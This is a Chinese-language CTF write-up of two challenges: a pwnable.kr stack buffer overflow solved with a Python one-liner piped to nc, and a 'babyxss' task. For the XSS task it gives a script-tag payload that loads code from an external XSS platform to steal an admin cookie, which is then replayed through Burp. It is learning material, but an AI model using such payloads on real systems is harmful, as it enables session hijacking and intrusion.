pwn-bof & baby xss

pwn-bof & baby xss

—– bof—–

参考:

  • 详细解析ESP寄存器与EBP寄存器:

    https://blog.csdn.net/u011822516/article/details/20001765

  • 函数栈&EIP、EBP、ESP寄存器的作用: ESP是栈指针寄存器(extended stack pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的栈顶。ESP始终指向栈顶,只要ESP指向变了,那么当前栈顶就变了。
    EBP是基址指针寄存器(extended base pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的底部。EBP存储着当前函数栈底的地址,栈低通常作为基址,我们可以通过栈底地址和偏移相加减来获取变量地址(很重要)。

    https://www.k2zone.cn/?p=1911


分析:

转到Download :http://pwnable.kr/bin/bof 下载bof文件,拖入IDA-32bits
F5编译后查看main函数,跟到func函数后,可知即将a1覆盖为0xCAFEBABE 即可。
Imgur
s是ebp-2c,a1是ebp+8h,距离是(2c+8h=52)52,所以要覆盖52个字符.
再加上0xCAFEBABE,注意小端输入
所以输入(python -c "print 'a'*52+'\xbe\xba\xfe\xca'";cat) | nc pwnable.kr 9000
ls得到flag文件
Imgur


——babyxss—–

参考:


分析:

这道题思路是通过XSS获取cookie,再通过burpsuit 抓包上传获得 flag,本身的xss没有任何r绕过,主要是一个md5截断作为验证码,根据参考的MD5截断程序编写babyxs.py,专门用作验证码获取。
这道题直接打开xss平台,选择默认模式,将平台生成的代码输入文本框,再输入验证码,就可以在平台得到cookie
我输入的代码如下:</tExtArEa>'"><sCRiPt sRC=http://xssye.com/uc2M></sCrIpT>
得到cookie:Imgur
打开burpsuit,在intercept off 下打开 admin.php,再intercept on 进行抓包
得到Imgur
将cookie中PHPSESSID=8062ffcea7f0e79ad37339918dc13fe8改为我们得到的token=a9011a0e551f181c1c526881befac44d
利用repeater发包后得到flag
Imgur